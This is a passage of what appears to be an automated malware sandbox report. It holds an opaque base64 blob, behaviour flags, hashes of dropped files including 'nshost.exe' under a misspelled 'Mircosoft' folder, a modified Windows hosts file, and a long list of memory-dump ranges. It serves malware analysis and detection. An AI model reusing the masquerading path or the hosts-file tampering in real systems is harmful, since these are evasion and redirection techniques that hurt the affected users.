ZkBLaxtxBZNwV97TE8JgdffB0/ICxMVLxSCpm/EZLR2n+UELYSlThmSdZEaJq7QXuY7Br/Tp1m9mFxal+JSgbweMZS9lKWhYPizcgXQrTE/NpflDM0WXFof4ohcE4CPVvdjIUj8VDBN9sfY1bvJgtNC7Xk+RiRjA1moDkZ/hzwXrQ3NMvRLr1wh1ocHlMkzYevsLnamAax8lZICDH8fz1Ztw6+glHLHwsGWsEPV5AV75Z2cn16YzmAWgNvhXnUXX9zr8ObLhgSFsZjK66q289NBOnHzHsi70ywWou+m2fcgGD9TuxO28adwprfL6j+V4keNs+baNPicMQ6WC4fYDoiMy4chqZEuKc0KmQzjkwFHxnHVTvon1KxA/guAqkivG9QvTsQMJzj8pFjSogtc1a9HOPer2c7lILqQO3S+jFokWeU2bt6PI1E3oLprPKbhhbB/SCeruQSI0hirLXAQoLf22AH3AGKD39+n9LalYDADlQbcdf7vqk2NVNLIX11sve/KUdq/eSrcN6SGU/9LrfMKCnanbI6tjUpMbJLWLSAcNLAgcj/Mjq6gd/aTv7HxmzQNssFFlx7bIOu35dWzcsx1BqxQnSz2qMRx+LZktbuBWM5JCE9WQnrgECbs/pxyuNAJyPsgxiz9etm6vFZUMcmXT4t7TM6CY/u4hItDtO/0nUIob3OzO7y5Z+znePVOJNLSuM3a31vNpLKuFj1T7Ik8yfgSFkc8WICl68mKkvKy5P8qlRtv9zKHmDjEeMN7Nxo4f3EhgVDeV5dPMaYRTj0LFlDp4YWRsZ1h274V/CucySQjvBgaY5G4L2vtIiKrmfsSQSSJBZqKVJTinpLNdHQ7heBUpeiQPyVYCuyI/roxU/c3HTH0b7ucOa5o6glW7vPIsOioFK2EW18f7MGAMI+b0+ReH/LrJwItoj3Zji0MB4R2S8i/JKquNsqFUCfq4CfMCWDXNjSV66/4ksUDYYHm9nLeQnaRPexMIZIeSks2I6m37s2bGC9/ndvCqZgR62L0U/yX94Cq3ILKqIu7rjJQo2un4lxn3kWoZf2QXYtC5pLEctXVDK3QHOLrDQacX0boJnI9zlDnhmc4YWvb3Xwy5JQJj7Qfxp4LE8A04zggM0NlzKGJsGGJY3he5Gpf8SUTyGu+tCykE4tnjWsWZA6dbJMcP68M5I0S4gaxih528ZnXSrPMlqquzOk8snSy1OJeYciyTfvC3vXMFwbEeNkLjkwSu/PVMOizUx3HVwmUeXKIb1Da4F+sXH3vl64IY2zNyLmg7e5gjRljII1gb2+YrAU05JgMNVQVBVj2jgPyC8tR3l1Q4bmkzkjyzXBBgjw7cg0dnC3gquic/ALlDQfohjPg2hu+2hDqH0yvVfe2Q3EwIo1nXnLS81ddWnZBfgnVYguxGR5h8ajalZU2t2INQN67O9aTYvzQ/rTgNc06Zle5Zi9DVziWZCAXvA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exeFilesize
7.2MB
MD5cc45f791667f3b9fb6281414f5325561
SHA1df8b29bbc15712f928a61f6d0c8e045d823dce84
SHA256dde77f52e25c661b86b499b40e627512b5713e53744c2bafb57450d7fdac3785
SHA512f70692b95b4b09d65f5bf4ef5915fccbf2f0628ad206e3fa064b6d595e5176d4e9d89368215b474e0ca95f38bae918fe31f2d64aa9849a9045cd5b4d84ff95d7
-
C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exeFilesize
7.2MB
MD5cc45f791667f3b9fb6281414f5325561
SHA1df8b29bbc15712f928a61f6d0c8e045d823dce84
SHA256dde77f52e25c661b86b499b40e627512b5713e53744c2bafb57450d7fdac3785
SHA512f70692b95b4b09d65f5bf4ef5915fccbf2f0628ad206e3fa064b6d595e5176d4e9d89368215b474e0ca95f38bae918fe31f2d64aa9849a9045cd5b4d84ff95d7
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5dd970ec2fbe8d408c3497339195c2dbc
SHA12850c0cec1ec884070ff55bcf5eddccde1265457
SHA256dda3fa9c4391ca9dca8fff62ead76a5ab5d741c7b7693778bcf00980d97fe5d2
SHA512b4935fdb45496bc392dfd202c9d4e420f3ce75c54867009a3a2cbde7197c28ef1686a6f90624e82dfd8e6d254e1cae4dc75af2610ef141c7116597f10c589b4d
-
C:\Windows\system32\drivers\etc\hostsFilesize
3KB
MD53715acee4598ecc9f6edf98c069c8f85
SHA1700c0bfc09fcde757b83d3b5a92fc5fd48c72d8b
SHA25653058b8e6ef749657f41ebe3999b88439a3042af8dbc27623f8923a1e9937b19
SHA512bb749cb320ab655961c2c9353f472e580d0f9fb3084b4066398177d725f199dfec4446eb222919ef3dd08c13e2f02d8426629794fe539e3706e28ff484e98359
-
\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exeFilesize
7.2MB
MD5cc45f791667f3b9fb6281414f5325561
SHA1df8b29bbc15712f928a61f6d0c8e045d823dce84
SHA256dde77f52e25c661b86b499b40e627512b5713e53744c2bafb57450d7fdac3785
SHA512f70692b95b4b09d65f5bf4ef5915fccbf2f0628ad206e3fa064b6d595e5176d4e9d89368215b474e0ca95f38bae918fe31f2d64aa9849a9045cd5b4d84ff95d7
-
memory/272-127-0x0000000000000000-mapping.dmp
-
memory/272-95-0x0000000000000000-mapping.dmp
-
memory/272-67-0x0000000000000000-mapping.dmp
-
memory/300-68-0x0000000000000000-mapping.dmp
-
memory/304-101-0x00000000013D0000-0x0000000001B04000-memory.dmpFilesize
7.2MB
-
memory/304-98-0x0000000000000000-mapping.dmp
-
memory/304-136-0x0000000000790000-0x0000000000796000-memory.dmpFilesize
24KB
-
memory/396-129-0x0000000000000000-mapping.dmp
-
memory/436-80-0x0000000000000000-mapping.dmp
-
memory/520-167-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-110-0x000000000281B000-0x000000000283A000-memory.dmpFilesize
124KB
-
memory/520-152-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-151-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-150-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmpFilesize
3.8MB
-
memory/520-165-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-149-0x0000000000400000-0x0000000001246000-memory.dmpFilesize
14.3MB
-
memory/520-148-0x0000000000400000-0x0000000001246000-memory.dmpFilesize
14.3MB
-
memory/520-166-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-153-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-169-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-162-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-170-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-146-0x0000000000400000-0x0000000001246000-memory.dmpFilesize
14.3MB
-
memory/520-171-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-172-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-173-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-174-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-177-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-178-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-144-0x0000000000400000-0x0000000001246000-memory.dmpFilesize
14.3MB
-
memory/520-179-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-180-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-181-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-182-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-183-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-161-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-184-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-160-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-142-0x0000000000400000-0x0000000001246000-memory.dmpFilesize
14.3MB
-
memory/520-159-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-141-0x0000000000400000-0x0000000001246000-memory.dmpFilesize
14.3MB
-
memory/520-157-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-185-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-104-0x0000000000000000-mapping.dmp
-
memory/520-156-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-107-0x000007FEEC8D0000-0x000007FEED42D000-memory.dmpFilesize
11.4MB
-
memory/520-108-0x000000001B780000-0x000000001BA7F000-memory.dmpFilesize
3.0MB
-
memory/520-109-0x0000000002814000-0x0000000002817000-memory.dmpFilesize
12KB
-
memory/520-164-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-186-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-195-0x0000000000400000-0x0000000001246000-memory.dmpFilesize
14.3MB
-
memory/520-154-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-187-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-139-0x0000000000400000-0x0000000001246000-memory.dmpFilesize
14.3MB
-
memory/520-188-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-194-0x0000000000400000-0x0000000001246000-memory.dmpFilesize
14.3MB
-
memory/520-189-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-138-0x0000000000400000-0x0000000001246000-memory.dmpFilesize
14.3MB
-
memory/520-190-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-137-0x0000000000400000-0x0000000001246000-memory.dmpFilesize
14.3MB
-
memory/520-191-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-193-0x0000000000400000-0x0000000001246000-memory.dmpFilesize
14.3MB
-
memory/520-192-0x0000000077920000-0x0000000077930000-memory.dmpFilesize
64KB
-
memory/520-223-0x0000000077B50000-0x0000000077B60000-memory.dmpFilesize
64KB
-
memory/520-175-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-155-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-176-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-158-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-163-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/520-168-0x0000000077820000-0x0000000077830000-memory.dmpFilesize
64KB
-
memory/568-222-0x0000000000000000-0x0000000001000000-memory.dmpFilesize
16.0MB
-
memory/568-221-0x0000000140000000-0x0000000140803000-memory.dmpFilesize
8.0MB
-
memory/568-125-0x0000000000000000-mapping.dmp
-
memory/608-133-0x0000000000000000-mapping.dmp
-
memory/616-130-0x0000000000000000-mapping.dmp
-
memory/616-73-0x0000000000000000-mapping.dmp
-
memory/652-119-0x0000000000000000-mapping.dmp
-
memory/652-64-0x0000000000000000-mapping.dmp
-
memory/748-75-0x0000000000000000-mapping.dmp
-
memory/788-71-0x0000000000000000-mapping.dmp
-
memory/812-76-0x0000000000000000-mapping.dmp
-
memory/832-121-0x0000000000000000-mapping.dmp
-
memory/900-82-0x0000000000000000-mapping.dmp
-
memory/940-62-0x0000000000000000-mapping.dmp
-
memory/944-89-0x0000000000000000-mapping.dmp
-
memory/956-115-0x0000000000000000-mapping.dmp
-
memory/968-72-0x0000000000000000-mapping.dmp
-
memory/1028-88-0x0000000000000000-mapping.dmp
-
memory/1068-69-0x0000000000000000-mapping.dmp
-
memory/1068-96-0x0000000000000000-mapping.dmp
-
memory/1072-90-0x0000000000000000-mapping.dmp
-
memory/1092-54-0x0000000000F50000-0x0000000001684000-memory.dmpFilesize
7.2MB
-
memory/1092-55-0x000007FEFC1F1000-0x000007FEFC1F3000-memory.dmpFilesize
8KB
-
memory/1132-111-0x0000000000000000-mapping.dmp
-
memory/1172-135-0x0000000000000000-mapping.dmp
-
memory/1204-123-0x0000000000000000-mapping.dmp
-
memory/1212-66-0x0000000000000000-mapping.dmp
-
memory/1216-65-0x0000000000000000-mapping.dmp
-
memory/1228-84-0x0000000000000000-mapping.dmp
-
memory/1352-63-0x0000000000000000-mapping.dmp
-
memory/1356-70-0x0000000000000000-mapping.dmp
-
memory/1368-131-0x0000000000000000-mapping.dmp
-
memory/1372-126-0x0000000000000000-mapping.dmp
-
memory/1384-79-0x0000000000000000-mapping.dmp
-
memory/1412-77-0x0000000000000000-mapping.dmp
-
memory/1412-132-0x0000000000000000-mapping.dmp
-
memory/1520-134-0x0000000000000000-mapping.dmp
-
memory/1544-92-0x0000000000000000-mapping.dmp
-
memory/1568-224-0x0000000000060000-0x000000000006A000-memory.dmpFilesize
40KB
-
memory/1568-112-0x0000000000000000-mapping.dmp
-
memory/1600-103-0x0000000000000000-mapping.dmp
-
memory/1620-85-0x0000000000000000-mapping.dmp
-
memory/1624-86-0x0000000000000000-mapping.dmp
-
memory/1652-56-0x0000000000000000-mapping.dmp
-
memory/1652-120-0x0000000000000000-mapping.dmp
-
memory/1660-124-0x0000000000000000-mapping.dmp
-
memory/1716-114-0x0000000000000000-mapping.dmp
-
memory/1736-87-0x0000000000000000-mapping.dmp
-
memory/1748-81-0x0000000000000000-mapping.dmp
-
memory/1760-59-0x000007FEECDF0000-0x000007FEED94D000-memory.dmpFilesize
11.4MB
-
memory/1760-57-0x0000000000000000-mapping.dmp
-
memory/1760-61-0x00000000024AB000-0x00000000024CA000-memory.dmpFilesize
124KB
-
memory/1760-60-0x00000000024A4000-0x00000000024A7000-memory.dmpFilesize
12KB
-
memory/1768-91-0x0000000000000000-mapping.dmp
-
memory/1776-78-0x0000000000000000-mapping.dmp
-
memory/1784-93-0x0000000000000000-mapping.dmp
-
memory/1784-128-0x0000000000000000-mapping.dmp
-
memory/1936-118-0x0000000000000000-mapping.dmp
-
memory/1944-122-0x0000000000000000-mapping.dmp
-
memory/1956-74-0x0000000000000000-mapping.dmp
-
memory/1984-83-0x0000000000000000-mapping.dmp
-
memory/2008-94-0x0000000000000000-mapping.dmp
-
memory/2032-116-0x0000000000000000-mapping.dmp
-
memory/2040-117-0x0000000000000000-mapping.dmp